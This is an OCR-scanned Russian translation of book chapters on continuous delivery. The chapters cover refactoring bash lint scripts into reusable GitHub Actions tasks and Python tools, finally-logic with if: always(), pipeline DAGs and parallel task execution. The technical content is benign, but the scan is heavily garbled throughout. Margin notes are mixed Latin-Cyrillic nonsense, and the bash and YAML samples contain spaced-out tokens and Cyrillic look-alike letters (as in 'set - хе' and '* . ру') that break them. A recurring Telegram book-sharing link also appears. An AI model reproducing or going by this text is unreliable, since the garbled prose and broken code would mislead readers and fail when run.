функциях линWlинzо.. TeV1ep1' ЭW\OW\ 
цикл будеWI V106W1opЯW11'CЯ в каж 
дой из них, 30.WIO бол1'ше не нужно 
6озиW11'СЯ с библиоWlеко.ми bo.sh -
эмо смоиWI небол1'шоzо количесW160. 
м6W1оро6. 

Цель Лоренцо - превратить функциональность линтинга в компактный автоном -
ный Ьаsh-скрипт, который можно использовать внутри задачи, не прибегая к внеш
ним библиотекам. Если бы функция python _ lint ( )  включала в себя логику функции 
1 i nt ( ) , то после выполнения всех шагов получилось бы следующее: 

function python_lint ( )  { � for file  in $@; do 
python -m  pylint  ${file}  

done 
} 

nоло6ино. смрок в V1ред1'1дущей функции 
/iV1t() б1'tЛО. V\pOCWIO oбpo.бoWIKOU o.pzyмeн 
WI06 функции, мэмому Лоренцо нужно 
бt71ЛО V\pOCWIO добо.6иW11' сюда цикл. 

Таким образом, чтобы инкапсулировать всю функциональность линтинга в один 
автономный Ьаsh-скрипт, нужно всего лишь сделать так: 

# ! / u s r/bin/env  bash  
set - хе 
for file  in $ ( find  $ { {  input s . d ir  } }  - name " * . ру " ) ; do 

python - m  pylint $file 
done 

t Око.зо.лос1', ЧW\О бол1'шинсW160 исходн1'1Х библиоWlеК bo.sh вообще не нуЖН1'/ для \ линWlинzо.: необходимо. WIOЛ1'Ko 6озможносW11' мребиро.W11' некоморt71е фо.йл1't 
и 61'1з60.W11' команду PythoVI /iV1t. 
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Многоразовы й Ьаsh-скрипт внутри задач и  
Лоренцо выполнил рефакторинг логики линтинга Python в один автономный Ьаsh
скрипт: 

# ! / u s r/bin/env bash  
set  - хе 
for file  in $ ( find $ { {  inputs . d i r  } }  - name " * . ру " ) ;  do 

python - m  pylint $file 
done 

Но он не хочет передавать этот Ьаsh-скрипт напрямую в пайплайны CD службы 
транзакций и кредитных карт. Он хочет поместить его в задачу, которую можно 
написать один раз и ссылаться на нее во всех пайплайнах. 

Поскольку для автоматизации CD онлайн-банка Purrfect Bank используется 
GitHub Actions, мы создадим задачу GitHub в репозитории СD-скриптов, которая 
будет функционировать как повторно используемая и выглядеть так: 

name : Python 
desc ription : 
inputs : 

Lint 
Runs  Python lint  о п  the d i rectory 

Исмльзование дирекw.о -
рии в качесw.ве ар гумен -� w.a мзволяеw. V\рименяw.ь 

d i r : эw.у задачу независимо 
desc ription : "The  d i rectory containing files  to lint " ow. w.ozo, zде находяw.ся 
default : " . " фаuлы. 

runs : 
u s ing : " composite " 

ТакоiА синw.аксис указываем ЧitНиЬ ActioV\S на w.o, чw.о содержимое 
раздела rиV\ должно в1:11млняw.ься в оболочке bask steps : 

-shell  bash  ...------
run : 1 

pip  install  

Лорени,о необходимо усw.ановиw.ь PyliV\t, 
1 .  � чw.обы он был досw.уV\ен. 

ру int 
• for file  in  

python - m  
$ ( find  ${{ input s . dir  } }  - name " * . ру " ) ;  d o  
pylint $file 

ТеV\ерь скриV\w. 
Лорени,о всw.роен 
неV\осредсw.венно done 

,..._____ в ЦitНиЬ ActioV\S. 

Теперь оба пайплайна могут ссылаться на задачу GitHub непосредственно в репо
зитории скриптов CD, что позволяет им повторно использовать задачу следующим 
образом: 

jobs : 
lint : 

runs - on : ubunt u - latest 
steps : 

ОV\ределив линw.инz PythoV\ как задачу ЧitНиЬ, мы сде 
лали ezo мвw.орно исмльзуемоiА задачеiА, для кow.opoiA 
можно выV\ускаw.ь релизы и V\рисваиваw.ь версии. 

- uses : 
- name : 

u ses : 

actions/chec kout@v2 � Python lint / purrfectbank/ cd/ . github/ action s / python - l int@v0 . 1 . 0  

Книги для программистов: https://t.me/booksforits



352 Глава 12 . Скрипты - это тоже код 

Переход от bash к Python 
Затем Лоренцо переходит к файлу e2e_tests.sh. Функции build_image, run_e2e_tests 
и deploy_to_e2e_s ut достаточно просты, поэтому он создает для каждой из них 
многоразовую задачу GitHub. Но последняя Ьаsh-функция ( setup_e2e_s ut ) сложна, 
так что он решает создать для нее версионированную, тестируемую библиотеку на 
Python и инструмент Python, который можно использовать для ее запуска. 

Сначала он создает пустую библиотеку Python в репозитории CD под названием 
end-to-end («сквозная») .  Он также настраивает автоматизацию для создания верси
онированных релизов, отправляемых во внутренний реестр артефактов компании 
(точно такую же автоматизацию разработчики применяют для любой из библиотек, 
используемых в коде на продакшен) .  

Внутри этой библиотеки он создает пакет под названием setup и инструмент 
командной строки под названием p u r rf e c t - e 2 e - s e t u p ,  который вызывает эту 
библиотеку. Самое интересное, что он может добавить тесты для каждой функции, 
а также для инструмента в пакет setup! После всех этих обновлений структура ре
позитория СD-скриптов выглядит так: 

. githuЫ 
actions/  

config- lint . yaml 
markdown - lint . yaml 
python - l int . yaml 
unit -test . yaml 
coverage . yaml 
build - image . yaml 
run - e2e -test s . yaml 
deploy - t o - e2e . yaml 

е2е/ 
setup/  

test/  . . .  
p urffect - e2e - setup . py 
setup . py 
requi rements . txt 
README . md 

README . md 

'-i� ВАЖНО 

К.ажд!111А из них у..редсW1а6ляеW1 собой зада -
чу CiitHиb, на коW1орую можно CC!11ЛttWl!1CЯ 
из других рабочих у..роцессо6 онла!Ан -банка 
Pиrrfect BaY..k, расмложенного на CiitHиb. 

Логика функции setиp_eze....sиt WltY..tpt7 рас 
у..ределена м несколt7ким функциям 6 Y..aKtWlt 
setиp, каждая из KOW10p!11X иMetWI IOHиWl -W\tCW\!11 
и уу..ра6ляеW1ся с ммощt7ю командно!А СW1роки 
к фа!Алу purrfect -e2e -setиp.py, кoW1opt71!A, 6 сбою 
очеред!1, оу..ределяеWI и у..ро6еряеW1 арщменW1!11 
командно!А СW1роки . 

shеll-скрипты идеально подходят для объединения в пайплайн отдельных про
грамм, но когда логика начинает разрастаться, лучше перейти на другой язык 
и/или механизм совместного использования. 
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После того как Лоренцо закончил работу, задачи, используемые двумя командами 
подразделения платежей, выглядят так: 

Линтинг файлов 
конфигурации 

Линтинг файлов 
на языке разметки 

Markdowп 

Линтинг файлов 
на Pythoп 

Выполнение 
юнит-тестов 

Измерение 
покрытия 

L Сборка J ) РазвеJ11Ывание Выполнение 
сквозных тестов 

1<.аждая задача оу.ределя -
емся б берсцонцробанной 
задаче (мсредсW1бом 
CiitHцb ActioY.s) . 1<.аждая 
задача содержим мцнц -
мум bas/1. 1А MOЖeWI 
1'\ОбWl.орно исмльзобаWIЬ 
ся в несколЬКIАХ 1'\аuмай -
нах. nаймайны сербиса 
W1ранзакций и сербцса 
IAHWlezpaЦIAIA кpeдtAWIHЬIX 
кapWI IACl'\OЛl:JЗYIOWI бсе 
ЭWllA задачи . 

Ремзиморий CD содержим месмируемь1е библиомеки 
и инсмруменм командной смроки , чмобы насмраибамь среду 
дм1 скбозноzо месмиробания. В каждом у.роекме мдразделе 
ния мамежей создаемся сбоя собсмбенная задача, коморая 
бызt:J1баем инсмруменм командной смрокц , ммому чмо 
у каждого цз нцх разные ммребносмц (нау.ример, сербису 
цнмеzраццц кредимных карм мребуемся за .... ускамь q:щкмцб
ные экземмярt:J1 несколt:Jких у.робайдероб кредиW1нt11х карм). 

Настройка среды 
для SUT 

Пайплайны, определенные для двух сервисов, практически идентичны, и теперь 
они оба поддерживаются библиотеками и скриптами, которые обрабатываются как 
код: хранятся в системе управления версиями, тестируются, проверяются и версио
нируются. 

Лоренцо смог решить все проблемы с пайплайнами, и команды больше не со
бираются отказываться от CI: 

• Их 11rрудпо 0'1ura.жмamri. Каждый сбой теперь четко связан с конкретной зада
чей, bash используется по минимуму, а сложная логика поддерживается хорошо 
написанными инструментами и библиотеками, которые сообщают о значимых 
ошибках. 

• OnN ne11poзpa'lnri1. Объем bash в задачах минимален, при использовании библио
тек и инструментов исходный код хорошо детализируется и подкрепляется 
тестами, что значительно облегчает понимание кода. 

• Paзpaбom'INKN 11е реmаются вnocm11ri г nNx t1:н1епепt1я. Логика, реализованная 
в bash, не слишком сложна, а если возникнет необходимость ее усложнить, то 
ее легко преобразовать в библиотеки и инструменты Python. Существующие 
инструменты и библиотеки сопровождаются тестами, а проверять код стало 
намного проще. 

Пайплайны, которые было сложно использовать и поддерживать, стали такими же 
простыми в использовании и поддержке, как и все остальное ПО. 
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Скрипты CD - это тоже код 
Одна из причин, по которым подразделение платежей в Purrfect Bank оказалось 
в сложной ситуации, заключается в том, что разработчики не обрабатывали код CD 
так же, как и весь остальной код. Бизнес-логика, реализованная в сервисах транзак
ций и интеграции кредитных карт, соответствовала лучшим практикам: она была 
тщательно продумана, протестирована, проверена и версионирована. Но к коду 
пайплайнов и задач CD применялись другие стандарты. Разработчикам просто 
нужно было, чтобы он работал. 

Как и с любым другим кодом, такой подход поначалу может быть довольно 
эффективным, но по мере увеличения сложности он начинает давать сбои, и воз
никают проблемы с поддержкой, что значительно замедляет работу. Вспомните 
определение CI: 

Постоянный процесс внесения изменений в код, когда каждое изменение 
проверяется при добавлении его к уже имеющимся и проверенным 
изменениям. 

В главе 3 было показано, как этот принцип применяется ко всем текстовым дан
ным, из которых состоит продукт, в том числе к конфигурации .  Чтобы в полной 
мере использовать принцип «конфигурация как код», осталось признать, что код, 
определяющий способ интеграции и доставки программного продукта, сам по себе 
также является его частью. 

Лоренцо и команда Purrfect Bank усвоили важный урок: 

• Бизнес-логика - это код. 
• Тесты - это код. 
• Конфигурация - это код. 
• Пайплайны, задачи и скрипты CD - это тоже код. 

',ф : ВАЖНО 
Код - это код. Применяйте ко всему коду, который вы пишете, те же практики, 
которые вы применяете к бизнес-логике. 

' ,ф : ВАЖНО 
Применяйте принцип «как код» (например, конфигурация как код, пайплайны 
как код) ко всему коду, включая задачи, пайплайны и скрипты CD. 
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Когда команды подразделения платежей онлайн-банка Purrfect Bank только начали 
создавать свои пайплайны CD, bash хорошо выполнял свои функции. Но в какой
то момент bash перестал удовлетворять всем потребностям, а команды все равно 
продолжали его использовать. Это привело к тому, что пайплайны CD стало сложно 
поддерживать и эксплуатировать, и возник вопрос, есть ли от них хоть какая-то 
польза. 

Лоренцо удалось привести пайплайны CD в надлежащее состояние, разбив 
большие Ьаsh-скрипты на хорошо продуманные дискретные задачи и устранив их 
зависимость от больших разросшихся библиотек bash. Большая часть логики оста
лась в bash, но теперь она уже определялась грамотно спроектированными, версио
нированными задачами, а более сложная логика была преобразована в инструменты 
и библиотеки Python, поддерживаемые тестами.  

Итоги 
• Задачи, которые выполняют слишком много, не могут генерировать хорошие 

сигналы. 
• Грамотно спроектированные задачи похожи на правильно разработанные функ

ции. Они обладают сильной связностью, слабой связанностью, имеют четко 
определенные интерфейсы и делают ровно столько, сколько нужно. 

• Языки shе!l-скриптов, такие как bash, отлично подходят для связи ввода и вы
вода из нескольких программ, но языки общего назначения лучше справляются 
с более сложной логикой, обеспечивая удобство сопровождения. 

• Код - это код. Применяйте ко всему коду, который вы пишете, те же практики, 
которые вы применяете к бизнес-логике. 

• Код пайплайна CD является частью общего кода программного продукта. 

Далее . . .  
В последней главе будут рассмотрены различные способы организации задач в рам
ках пайплайна, а также функции системы CD, которые понадобятся для создания 
максимально эффективных пайплайнов. 
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1 3  Реал изация 
па й пла й нов 

• •••••••••••••••••••••••••••••••••••••••• 

В этой главе 

.1 Как добиться, чтобы необходимые действия выполня
лись независимо от сбоев 

.1 Ускорение пайплайнов за счет параллельного выпол
нения задач вместо последовательного 

" Обеспечение повторного использования пайплайнов 

путем их параметризации 

.1 Как  оценивать компромиссы при принятии решения 

о том, сколько пайплайнов использовать и что поме
стить в каждый из них 

" Как  определить, какие функции необходимы в систе

ме СО для представлен ия графов пайплайнов 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Добро пожаловать в последнюю главу книги «Грокаем Continuous Delivery». В этой 
главе мы рассмотрим общую структуру пайплайнов непрерывной доставки, а также 
особенности, на которые следует обращать внимание в системах СО, чтобы эффек
тивно структурировать пайплайны. 

Большое внимание мы уделим системам CD, оптимизированным под повторное 
использование. Этот подход основывается на общем принципе «конфигурация как 
код», в частности на использовании передовых методик разработки при написании 
пайплайнов CD, как и при написании любого другого кода. 
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Чтобы понять важность конкретной реализации пайплайна, рассмотрим пайплай
ны, используемые в компании PetMatch. Эта компания предоставляет услугу поиска 
и подбора питомца тем, кто хочет завести домашнее животное. Уникальный соб
ственный алгоритм подбора соответствий помогает будущему владельцу подобрать 
самого подходящего питомца. 

Компания выросла из стартапа и работает чуть более восьми лет. Все это время 
она уделяла большое внимание автоматизации CD, поэтому создала множество 
пайплайнов для различных сервисов. 

Однако в последнее время разработчики сервиса подбора соответствий начали 
сомневаться в полезности использования пайплайнов. Архитектура самого сервиса 
относительно проста: вся бизнес-логика содержится в рабочем сервисе Python, ко
торый предоставляет REST API 1 остальной части стека PetMatch, и поддерживается 
базой данных: 

Сервис подбора 
соответствий --? 

Этот сервис имеет обширную автоматизацию и тестирование, реализованные в не
скольких пайплайнах CD, но они выполняются медленно, и разработчики чувствуют, 
что не получают необходимую им информацию вовремя. Фактически автоматизация 
СО их подводит! 

' REST АР! - это способ взаимодействия сайтов и веб-приложени й  с сервером . АР!  
(Application Programming lnterface - программный и нтерфейс приложения)  - это 
код, который позволяет двум приложениям обмениваться данными с сервера. REST 
(Representational State Transfer - передача состояния представления) - это способ создания 
АР! с помощью протокола НТТР. - Примеч. пер. 

Книги для программистов: https://t.me/booksforits



358 Глава 13 . Реализация пайплайнов 

Пайплай н ы  CD сервиса подбора соответстви й 
Сервис подбора соответствий имеет три отдельных пайплайна, и разработчики 
взаимодействуют с каждым из них совершенно по-разному: 

• Пайплайн С! запускается при каждом PR перед слиянием. 
• Пайплайн сквозного тестирования запускается один раз в сутки ночью. 
• Пайплайн вьтуска релиза запускается,  когда команда готова выпустить очеред

ной релиз (примерно один раз в несколько недель) .  

Команда в целом довольна пайплайном тестирования CI. Он выполняется для каж
дого PR менее чем за 5 минут и генерирует полезный сигнал. 

Однако два других пайплайна не так хороши. В пайплайне сквозного тестирова
ния есть несколько проблем: 

• Поскольку он запускается ночью, сотрудники узнают о сбое только на следующий 
день. Приходится заниматься поиском причин сбоя, выяснять, кто виноват, 
а затем откатываться назад и исправлять то, что уже было внесено в общий код. 
Это напрягает. 

• Выполнение тестов только раз в день означает, что код редко бывает готов к вы
пуску. И команда не может уверенно перейти к непрерывному развертыванию. 

• Причина, по которой пайплайн выполняется ночью, - его продолжительность: 
полное выполнение этого пайплайна занимает более часа, и никто в команде не 
хочет ждать так долго во время итераций PR. 

• Последняя проблема заключается в том, что сквозные тесты создают тестовую 
среду, но если тесты не завершаются успешно, они не подчищают за собой, а это 
означает, что со временем на тестирование расходуется все больше и больше 
ресурсов и кому-то приходится чистить все вручную. 

Проблемы с пайплайном выпуска можно свести к одному пункту: 

• Проблемы с сервисом и конфигурацией обычно выявляются этим пайплайном. 
Но к сожалению, он запускается,  только когда команда уже приготовилась к вы
пуску релиза, поэтому выпуски часто прерываются и откладываются, пока раз
работчики спешно выискивают и устраняют обнаруженные проблемы. 

Рассмотрим эти проблемы под несколько иным углом и попробуем найти общие 
закономерности в двух проблемных пайплайнах. 
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П роблемы пай плай нов CD 
Можно л и  выделить общие закономерности в этих двух 
пайплайнах? Взглянем на них еще раз. Это проблемы 
с пайплайном сквозного тестирования: 

" ....-С1цнал ..-.риходиw. 
• Разработчики узнают о сбое только на следующии день :1 

после слияния. в К. эw.ому ..-.ри одиw. за -
• Код не готов к выпуску. � держка сигнала об оищбке. 

с о..-.озианием. 

• Работает слишком медленно, чтобы запускать его при Низкая cкopocw.ti -
каждом PR. � эw.о ..-.роблема. 

• Не подчищает за собой, если происходит сбой . ....__ Эw.о либо баг, либо 
ошибка 6 самом 

А у пайплайна релизов только одна серьезная проблема: ..-.аu..-.лаuне. 

• Обнаруживает проблемы в коде, которые были внесе- Еще один случай, 
ны давно. � когда сигнал ..-.рихо -

Эти проблемы можно разделить на три категории:  

• Ошибки - когда пайплайны не делают того, что долж
ны, например, сквозные тесты оставляют после себя 
тестовую среду в ненадлежащем состоянии. 

• Скорость - низкая скорость выполнения пайплайна 
сквозного тестирования не позволяет команде запу
скать его, когда это необходимо. 

• Сигнал - оба пайплайна по причине неподходяще
го времени их запуска генерируют сигналы слишком 
поздно, уже после того, как произошло слияние кода 
(иногда спустя довольно длительное время) .  

Далее мы рассмотрим, как решить каждую из этих про
блем во всех пайплайнах сервиса подбора соответствий. 

диw. с о...азданием. 
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Па йпла йн сквозного тестирования 
Начнем с пайплайна сквозного тестирования сервиса подбора соответствий. У этого 
пайплайна существуют проблемы из всех трех категорий: ошибки, скорость и сигнал. 
Текущий пайплайн выглядит так: 

Скоросмь: 1'\ОСКольк!:I 
бесь l'\aiil'\ЛtHAH 6Ыl'\ОЛНЯ 
емся 1'\ОСледобамельно, 
общее бремя его быl'\Ол -
нения складыбаемся из 
бремени, необходимого 
для быl'\Олнения каждой 
задачи. 

Сигнал: 1'\ОСКольк!:I для 
бЫl'\ОЛНеНиЯ бсего l'\aiil'\Лaiiнa 
мреб!:jеМСЯ :1. МиН!:jМа + 
5 МиН!:jМ + СеК!:jНдЫ + 
50-75 МиН!:jМ + :1. Ми 
Н!:jМа :: �57-82  МиН!:jМЫ, 
он не можем заl'\!;IСКамься 
1'\ри каждом PR. 

Заl'\!:IСКаемся 
1'\ериодически 
(кажд!:lю ночь) 

� 
Создание 

образа 

Настройка 
среды для SUT 

1 Развертывание 
образа в SUT 

� 
Выполнение 

сквозных тестов 

Очистка среды 
для SUT 

�5 МиН!:jМ 

Несколько сек!:lнд 

50 -75 МиН!:jМ 

\ Ошибки: если чмо -мо 
1'\Оiiдем не мак 6 1'\реды -
д!:jщeii часми l'\aiiмaiiнa, 
его быl'\олнение османо -
бимся и задача очисмки 
среды не б!:jдем заl'\!:IЩена. 
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Пай плай н сквозного тестирова н ия и ош ибки 
Первая проблема, которую необходимо решить ,  связана 
с ошибками в пайплайне сквозного тестирования, а именно 
с тем, что задача очистки среды для тестирования запускается 
только в том случае, если остальная часть пайплайна прошла 
успешно. Большинство команд в компании PetMatch использу
ют GitHub Actions, и вот как выглядит рабочий процесс GitHub 
Actions для сервиса подбора соответствий: 

name : Run System tests Рабочии V>.роцесс заV>.нскаеw.ся каж -
оn : дь1и Вечер 6 ;2.3:00 ИТС (UV>.iversal 

s c hedule : � CoordiV>.ated Tiw.e - Всемирное коор -
- с ron : ' 0  23 * * * '  диниро6анное Время). 

jobs : Ключевое слово r1eeds обесr1ечи6аеw. 
build - image : . . . очередносw.ь 6ымлнения каждого задания 
setu p - sut : ,,....-- и мз6оляеw. мследнющим заданиям 

need s : b u i ld - image иСV\ОЛЬЗО6аw.ь Выходные данные V>.peдьtд!j -
outputs : щих задании, ow. коw.орых они за6исяw.. 

env - ip : $ { {  steps . provision . outputs . env - ip } }  

......_ 13 болыминсw.Ве задании w.ребнеw.ся 
deploy - image - sut : ""--- 6ымлниw.ь setцp -sиt, мсколькн им 

need s : setu p - sut необходимо исr1ользо6аw.ь /Р-адрес 
. . . � среды, V>.редосw.а6ляемыи эw.им зa -

end - t o - end - tests : � данием. 
need s : [ setup - s ut ,  deploy - image - sut ] 
env : 

SUT_I P : $ { {  need s . setup - sut . output s . env - ip } }  

clean - up - sut : 
need s : [ setu p - sut ,  end -to -end -test s ]  � 

nосколькн задание cleaV>. -иp -sиt заV>.нскаеw.ся меле каж
дого Вw.орого задания, сбои любого из r1редшесw.6нющих 
емн задании означаем, чw.о оно не заV>.нсw.иw.ся. 

ВАЖНО 

3aV1.ycкatW\CЯ 
V\tри.оди.чески. 
(каждую ночь) 

� 
Создание образа 

Настройка среды 
для SUT 

Развертывание 
образа в SUT 

Выполнение 

Очистка среды 
для SUT 

Позволяя задачам выпускать выходные данные, которые другие задачи пайп
лайна могут использовать в качестве входных, можно разрабатывать задачи как 
отдельные юниты с сильной связностью, слабой связанностью и возможностью 
повторного использования в разных пайплайнах. 

О Словарик 
GitHub Actions использует рабочие процессы (workflows) для того, что в этой книге 
называется пайплайнами. Задачи (tasks) в рамках этой книги условно эквивалентны 
заданиям (jobs) и действиям (actions). Задачи можно повторно использовать и ссы
латься на них во всех рабочих процессах, в то время как задания определяются 
внутри рабочих процессов и не могут быть использованы повторно. 
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F ina l ly-лorи кa 
Функциональность, которая необходима 
команде сервиса подбора соответствий 
внутри пайплайна, предполагает, что за
дача очистки тестовой среды должна вы
полняться независимо от того, что про
исходит с остальной частью пайплайна. 
Во многих пайплайнах определенные 
задачи должны выполняться, даже если 
другие части пайплайна дают сбой. Это 
похоже на концепцию finally-лoгuк11 
в языках программирования, например 
инструкцию finally в Python: 

Точнее говоря, процесс очистки 
среды должен происходить, если 
выполняется задача настройки сре
ды для SUT, но пока для простоты 
будем считать, что задача очистки 
среды выполняется независимо 
от этого. Для изменения процесса 
очистки среды так, чтобы он вы
полнялся только в том случае, когда 
выполняется задача настройки сре
ды, нужно использовать условные 
функции, которые мы рассмотрим 
немного позже. 

t ry : 
print ( " hello  world ! " ) 
raise  Exception ( " oh по" ) 

К.од в инсw.рукl.(ци 
fino. f fy оудеw. 8ь1млнен, 
дюке если Возникло 
исключение. 

finally : � 
print ( " goodbye world " )  

Включение finаllу-логики в пайплайн означает, что он будет выполняться в два этапа. 
Сначала выполняется основная часть пайплайна, а после ее завершения (неважно, 
успешного или неудачного) выполняется finally-чacть пайплайна: 

Создание 
образа 

Настройка 
среды для SUT 

Развертывание 
образа в SUT 

Выполнение 
сквозных тестов 

Firto.ff y -oлoк 

� 
Очистка среды 

для SUT } 

13ЫУtОЛНЯеWIСЯ 
rtep8o.я ЧО.СW\Ь 
YtO.tAYtЛO.tAHO.. 

Firto.ff y -oлoк вымлняеWIСЯ 
УtОСЛе W\OZO, ко.к зо.ВершиWIСЯ 
Выrtолнение осW10.льной чо.сWlи 
rtо.йnло.йно., до.же если nрои -
зойдеWI соой. 
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Кон цеп ция F ina l ly в виде графа 
Еще один полезный способ анализировать пайплайны, особенно когда вы начинаете 
выполнять задачи параллельно, - использовать ориентированный ациклический 
граф (DAG, directed acyclic graph) . DAG - это граф, в котором ребра имеют направ
ление (в нашем случае - от одной задачи к другой) и нет циклов (в нем невозможно, 
начиная с одной задачи и следуя по ребрам, вернуться к той же задаче) . 

АL\IАКЛ�.счносмь: еслц 
задача , наУ1р�.смер задача 
созданця образа, --....... 
заберщена, она не б!:Jдем 
бЬIУ\ОЛНЯМЬСЯ сноба. 

Создание 
образа 

НаУ1ра6ленце: наУ1ра6лен�.се � � � 
6ь1млнен1АЯ 6 мимаине r 

Ребра: сбязь межд!:J задачамц 
6 Уlаимаине. ТТОСКОЛЬК!:J сбои 
6 любои задаче османаблцба -
ем У1аиУ1лаин,  !:J каждого 
ребра есмь связанное с н�.см 
мребобанце: У1редыд!:Jщая 
задача должна бымь бы мл -
нена !:JCYleiмнo. 

CD - ом задачц к задаче Настройка 

i.cлi.c к задачам, след!:JЮ- среды для SUT 
ЩIАМ за неи. 

Если рассматривать пайплайн как DAG, то включение finаllу-логики подобно 
созданию ребер от каждой задачи пайплайна к задачам блока finally, которые вы
полняются при сбое. Если какая-то задача завершается неудачей, сразу начинается 
выполнение finally-зaдaч: 

у каждои задач/А 
6 графе есмь ребро, 
соед�.сняющее ее 
с fiмllу -задачеи, 
коморая сманем 
след!:Jющеи 6 мследо -
бамельносмц бымл -
ненця 6 СЛ!:JЧае У1ро6ала 
мекущеи задачц. 

Создание образа 

� YcYleX r Настройка 
среды для SUT 

Сбои � Усмх 1 Развертывание 1 
образа в SUT 

Сбои � Усмх 

Выполнение 
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П ринцип F ina l ly в пай пла йне сервиса 
подбора соответствий 
Команде разработчиков сервиса подбора соответствий необходимо представить 
finаllу-функциональность с помощью синтаксиса выражений для GitHub Actions. 
В этом синтаксисе, чтобы отметить задание как требующее выполнения независимо 
от статуса остальных заданий в рабочем процессе, используется i f :  ${ { always ( )  } } . 
Вот как выглядит обновленный пайплайн сервиса подбора соответствий: 

name : Run System tests  
on : 

s chedule : 
- c ron : ' 0  23 * * * ' 

jobs : 
build - image : . . .  
setup - sut :  

need s : build - image 
output s : 

env - ip : $ { {  steps . provis ion . output s . env - i p  } }  

deploy - image - sut : 
needs : set u p - sut 

end -to - end - test s : 
need s : [ setup - sut , deploy- image - sut ] 
env : 

SUT_IP :  $ { {  needs . setup - s ut . output s . env - ip } }  

И нсw.руКЦIАЯ i f  указ1:11ва -
ew. ЦitHIAb ActiOV\S всегда 
вымлняw.1:1 эw.о задан1Ае. 
Есл1А осw.ал1:1н1:11е зада -
НIАЯ завершаw.ся усV\ешно, 
ЦitH1Ab ActioV\S V\p1AMew. во 
вн1Аман1Ае IAHCw.pyKЦIAIA V\eeds 
в следующ,еiА сw.роке 1А !АН -
сw.руКЦIАЯ i f вl:ilV\OЛHIAW\CЯ 
меле eV\d -to -eV\d -tests, но 
есл1А эw.о IAЛIA любое другое 

clean - up - sut : 
________ задан1Ае заверш1Аw.ся не -

удачеiА, следующ,1АМ сразу 
выV\ОЛНIАW\СЯ c leavi-1Ap -s1At. 

if : $ { {  always ( )  } }  
need s : [ setu p - sut , end - t o - end -test s ]  

Ошибка в пайплайне C D  сервиса подбора соответствий исправлена: теперь очистка 
среды тестирования будет происходить в любом случае. 

',ф � ВАЖНО 
Синтаксис пайплайна, предоставляемый системой CD, должен позволять 
определять finally-лoгикy в пайплайнах, то есть создавать задачи в пайплайне, 
которые должны выполняться всегда, даже если другие части пайплайна не 
смогут успешно выполниться. 

',ф� ВАЖНО 
Наличие поддержки условного выполнения (которое в GitHub Actions реализо
вано с помощью инструкции i f) позволяет использовать более гибкие пайплай
ны. Например, можно запускать пайплайн для каждого PR, но включать в него 
в том числе задачи, которые выполняются только после слияния. 
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Па й плай н сквозного тестирован ия и скорость 
Команда сервиса подбора соответствий исправила ошибку в пайплайне CD, но про
блемы со скоростью и сигналами остались: 

• Ошпбкп скво3кые тестм оста:вл:я:ют пос11с себя тсстОВ)IЮ сред)! в кека:д11ежа:щсм 
сос 1 олкии. Исправлено! 

• Скорость - пайплайн сквозного тестирования слишком медленный, чтобы за
пускать его, когда это необходимо. 

• Сигнал - пайплайны сквозного тестирования и выпуска релизов генерируют 
сигналы слишком поздно. 

Команда переходит к проблеме скорости, решение которой также частично решит 
проблему сигналов, потому что если пайnлайн сможет работать быстрее, его можно 
будет запускать чаще. 

3aV\yCKaeWICЯ 
V1ериодически 
(каждую ночt�) 

� 
Создание �t МиНуW\а 

образа 

Скоросмь: мсколt�ку 
вecti V\aUV\Лauн � 
вtilV\OЛHЯeW\CЯ Настройка 
V1оследоваW1елt�но, среды для SUT 

�5 MиHyWI 
общее время ezo 
вt�1V1олнения складt�1 - � ваеWIСЯ из времени,  
необходимого для ) Развертывание 
вt�1млнения каждоu образа в SUT Несколt�ко секунд 
задачи . 

Сиzнал: Vlocкoлtiкy � Я V\O -V1режнему 
для вt�IV\ОЛНения всеzо Выполнение буду изобраЖаW\t� 
V\aUV\ЛtlUHa W1ребу - сквозных тестов  50 -75 MиHyWI fiV1a ((y -чaclN<ti 
elN<CЯ 1.. MиHylN<a + мuмаuна в виде 
5 минуWI + секундt�I Fiмllу -блок OWlдtлtiHOZO 
+ 50 - 75 MиHylN< + � блока, Ч1N<oбti1 не 
1.. MиHylN<a = pиcoвalN<ti ребра 
�57 - 8 2  MиHylN<til , 

Очистка среды OIN<Ka3oв OIN< 
он не MOЖelN< 

для SUT �t MиHylN<a каждоu из 
ЗaV\yCKalN<tiCЯ V\ри V1редt�1дущих задач 
каждом PR. К ЭIN<OU. 
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Па раллельное выполнение задач 
Команда сервиса подбора соответствий замечает, что хотя все задачи в пайплайне 
выполняются одна за другой, некоторые из них фактически не зависят от других. 
Анализируя задачи, которые не связаны с fiпаllу-логикой, они выявили следующие 
связи между задачами: 

• Сквозные тесты - требуют развертывания образа в SUТ. 
• Развертывание образа в SUT - требует создания образа и настройки среды SUТ. 
• Настройка среды SUT - ничего не требует. 
• Создание образа - ничего не требует. 

Поскольку создание образа и настройка среды SUT не требуют выполнения других 
задач, их не нужно запускать одну за другой: они могут выполняться параллельно 
(то есть одновременно) .  Параллельное выполнение задач - это способ ускорить вы
полнение пайплайнов. Если две задачи выполняются одна следом за другой (то есть 
последовательно), общее время их выполнения равно сумме времени, необходимого 
для выполнения каждой из них. Если же они выполняются параллельно, время вы
полнения обеих задач будет ограничено только продолжительностью выполнения 
самой медленной из них. 

n оследобо. VV1ельное 
быl'\олнение 

Создание 
образа 

( Настройка среды �s мцнут \ для SUT 

� 
Общее бремя: 
1. + 5 = � MUH!;IVVI 

'-Ф� ВАЖНО 

по.ро.ЛЛtлЬНОе бЫl'\ОЛНенuе 

Создание 
образа 

f Настройка среды 
для SUT 

Общее бремя: 5 мину VV1  

� s мцнут 

Параллельное выполнение задач - это способ сократить время выполнения 
пайплайнов. Чтобы определить, какие задачи могут выполняться параллельно, 
изучите зависимости между ними. При сравнении систем CD обращайте вни
мание на системы, которые позволяют выполнять задачи параллельно. 
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Па й пла й н сквозного тестирован ия 
и скорость вы полнения тестов 
Несмотря на то что пайплайн CD сервиса подбора соответствий теперь использует 
возможности параллельного выполнения, общее время изменилось довольно незна
чительно. За счет одновременного выполнения задач создания образа и настройки 
среды для SUT удалось сэкономить всего 1 минуту. 

ЗаV\ускаеw.ся 
V\ери.оди.чески. 
(каждую ночь) 

�1 ми.нуw.а Создание 
образа 

Настрой ка 
среды для SUT 

�5 ми.нуw. 

ВыV\олняюw.ся 6 w.ечени.е часа 
и.ли. долыме. Именно и.з -за 
сквозных w.ecw.oв V\aUV\Лauн 
paбow.aew. сли.щком медленно 
и. его не V\олучаеw.ся заV\у -

� {l 1 Развертывание 
образа в SUT 

скаw.ь w.ак часw.о, как эw.о ( 
необходи.мо. 

"--... 
Выполнение 

сквозных тестов 

FiV\а ((у -блок 

'°7 
Очистка среды 

для SUT 

Несколько секунд 

